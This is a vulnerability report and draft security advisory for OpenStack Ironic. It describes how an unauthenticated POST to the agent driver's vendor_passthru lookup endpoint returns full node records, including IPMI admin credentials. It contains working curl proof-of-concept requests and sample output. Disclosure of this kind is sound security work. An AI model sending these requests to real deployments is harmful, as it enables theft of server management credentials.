Environment:
- servers are Ubuntu Trusty 14.04.4 LTS
- ironic is deployed as part of an OpenStack cloud, configured to use keystone auth
- ironic is running current master (early Newton) + Neutron integration patches (should be completely unrelated)
- agent_ipmitool driver is enabled
Steps to reproduce:
- enable any of the "agent" class of drivers. For the examples below, let's assume that "agent_ipmitool" is enabled, but this works if any driver that includes the AgentVendorPassthru interface is loaded, even if the Node is not configured to use that driver.
- register a Node in Ironic with any driver
- register a Port in Ironic and associate it to that Node
- send an *unauthenticated* POST request to ${IRONIC_URL}/v1/drivers/agent_ipmitool/vendor_passthru/lookup with the following request body: '{"version": "2", "inventory": { "interfaces": [ { "name": "", "mac_address": "aa:bb:cc:dd:ee:ff" } ] } }'
Result:
- receive the complete Node record (an unauthenticated user should not be able to do that)
- bypass ironic API policy enforcement and retrieve the un-masked management credentials for the Node
- also receive the "heartbeat_timeout" value
Expected result:
- receive only the node UUID and heartbeat_timeout, because this should be all that the IPA ramdisk requires to continue operating
Example curl command:
curl -X POST -H 'X-OpenStack-Ironic-API-Version: 1.16' -H 'Content-Type: application/json' -H 'Accept: application/json' \
-d '{"version": "2", "inventory": { "interfaces": [ { "name": "", "mac_address": "aa:bb:cc:dd:ee:ff" } ] } }' \
https://some.url:6385/v1/drivers/agent_ipmitool/vendor_passthru/lookup | json_pp
Example result:
{
"heartbeat_timeout" : 300,
"node" : {
"target_provision_state" : null,
"raid_config" : {},
"instance_info" : {},
"id" : 2,
"network_interface" : "flat",
"reservation" : null,
"instance_uuid" : null,
"properties" : {
"cpu_arch" : "x86_64",
"memory_mb" : 65536,
"cpus" : 8,
"local_gb" : 1116
},
"target_power_state" : null,
"updated_at" : "2016-04-21T00:49:23.000000",
"created_at" : "2016-04-04T21:34:02.000000",
"driver" : "agent_ipmitool",
"target_raid_config" : {},
"name" : "my-test-system",
"inspection_started_at" : null,
"driver_info" : {
"ipmi_address" : "ACTUAL IPMI IP ADDRESS",
"deploy_ramdisk" : "88fc9937-d37a-4479-a098-2fd71fab6abc",
"ipmi_password" : "ACTUAL IPMI ADMIN PASSWORD",
"deploy_kernel" : "abbe34d6-5963-460f-b76a-48b07ee722cb",
"ipmi_username" : "ACTUAL IPMI ADMIN USERNAME"
},
"uuid" : "64d46f02-6156-4804-acae-a8caec97c663",
"conductor_affinity" : null,
"provision_state" : "available",
"maintenance" : false,
"extra" : {},
"inspection_finished_at" : null,
"driver_internal_info" : {},
"chassis_id" : null,
"power_state" : "power off",
"console_enabled" : false,
"maintenance_reason" : null,
"clean_step" : {},
"provision_updated_at" : null,
"last_error" : null
}
}
DRAFT
-----
Title: Ironic Node information including credentials exposed to unauthenticated users
Reporter: Devananda van der Veen
Products: OpenStack Ironic
Affects: >=2014.2, >=4.0.0 <=5.1.1
Description:
Devananda van der Veen reported the following vulnerability in Ironic.
Anyone with network access to the ironic-api service can bypass Keystone authentication and retrieve all information about any Node registered with Ironic, if they know (or are able to guess) the MAC address of a network card belonging to that Node. The HTTP response will include the full Node details, including management passwords, even when /etc/ironic/
This can be done by sending a request such as the following:
curl -X POST -H "Content-Type: application/json" -d \
'{ "version": "2", "inventory": { "interfaces": [ { "mac_address": "$ADDRESS" } ] } }' \
http://
This affects all instances of Ironic where the "enabled_drivers" setting includes any of the "agent" family of drivers (eg, agent_ssh, agent_ipmitool, agent_ilo). In such an environment, all Nodes may be exposed, even Nodes that are configured with another driver, including even if no Nodes are configured to use any of the agent_* drivers.
This vulnerability has been verified in all currently supported branches (liberty, mitaka, master) and traced back to code introduced in commit 3e568fbbbcc5748